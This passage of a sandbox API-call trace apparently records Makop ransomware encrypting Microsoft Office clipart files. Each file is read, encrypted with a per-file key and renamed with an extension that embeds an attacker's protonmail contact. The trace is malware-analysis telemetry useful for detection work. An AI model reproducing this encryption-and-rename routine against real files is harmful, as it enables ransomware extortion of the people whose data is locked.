param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 109 [0112.837] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0112.838] CloseHandle (hObject=0xf0) returned 1 [0112.838] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadef6200, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadef6200, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x45ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00074_.WMF", cAlternateFileName="")) returned 1 [0112.838] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0112.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0112.839] GetProcessHeap () returned 0x48a0000 [0112.839] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0112.839] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0112.839] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0112.839] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0112.933] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.933] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.933] GetProcessHeap () returned 0x48a0000 [0112.933] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0112.933] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0112.934] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.934] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0112.934] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0112.934] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0112.934] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0112.934] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0112.935] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0112.935] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.935] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.935] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.935] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x45ba, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x45ba, lpOverlapped=0x0) returned 1 [0112.937] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x45c0, dwBufLen=0x45c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x45c0) returned 1 [0112.937] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.937] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x45c0, lpOverlapped=0x0) returned 1 [0112.937] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.937] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.937] SetEndOfFile (hFile=0xf0) returned 1 [0112.945] GetProcessHeap () returned 0x48a0000 [0112.945] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0112.945] GetProcessHeap () returned 0x48a0000 [0112.945] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0112.945] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0112.945] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0112.954] CloseHandle (hObject=0xf0) returned 1 [0112.954] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa5bdb00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa5bdb00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x2eda, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00076_.WMF", cAlternateFileName="")) returned 1 [0112.954] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0112.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0112.955] GetProcessHeap () returned 0x48a0000 [0112.955] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0112.955] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0112.955] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0112.955] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0112.960] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.960] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.960] GetProcessHeap () returned 0x48a0000 [0112.961] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0112.961] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0112.961] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.961] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0112.961] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0112.961] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0112.961] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0112.961] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0112.962] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0112.962] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.962] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.962] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.962] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2eda, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2eda, lpOverlapped=0x0) returned 1 [0112.963] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2ee0, dwBufLen=0x2ee0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2ee0) returned 1 [0112.963] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.964] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2ee0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2ee0, lpOverlapped=0x0) returned 1 [0112.964] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.964] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2fb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.964] SetEndOfFile (hFile=0xf0) returned 1 [0112.971] GetProcessHeap () returned 0x48a0000 [0112.971] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0112.971] GetProcessHeap () returned 0x48a0000 [0112.971] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0112.971] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0112.971] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0112.973] CloseHandle (hObject=0xf0) returned 1 [0112.973] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6bb4600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6bb4600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x7620, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00077_.WMF", cAlternateFileName="")) returned 1 [0113.035] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0113.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.054] GetProcessHeap () returned 0x48a0000 [0113.054] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.054] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.054] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.054] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.054] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.054] GetProcessHeap () returned 0x48a0000 [0113.054] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.054] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.054] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.054] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.063] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.064] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.064] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.064] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.064] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.064] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.064] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.064] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.064] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7620, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7620, lpOverlapped=0x0) returned 1 [0113.067] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7620, dwBufLen=0x7620 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7620) returned 1 [0113.067] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.067] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7620, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7620, lpOverlapped=0x0) returned 1 [0113.067] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.067] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x76f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.068] SetEndOfFile (hFile=0xf0) returned 1 [0113.074] GetProcessHeap () returned 0x48a0000 [0113.074] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.074] GetProcessHeap () returned 0x48a0000 [0113.074] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.074] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.075] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.076] CloseHandle (hObject=0xf0) returned 1 [0113.076] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb58a1900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb58a1900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x721c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00086_.WMF", cAlternateFileName="")) returned 1 [0113.076] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0113.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.077] GetProcessHeap () returned 0x48a0000 [0113.077] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.077] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.077] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.077] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.081] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.081] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.081] GetProcessHeap () returned 0x48a0000 [0113.081] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.082] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.082] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.082] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.082] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.082] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.082] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.082] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.082] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.083] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.083] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.083] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.083] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x721c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x721c, lpOverlapped=0x0) returned 1 [0113.085] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7220, dwBufLen=0x7220 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7220) returned 1 [0113.085] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.085] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7220, lpOverlapped=0x0) returned 1 [0113.086] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.086] SetFilePointerEx (in: hFile=0xf0, 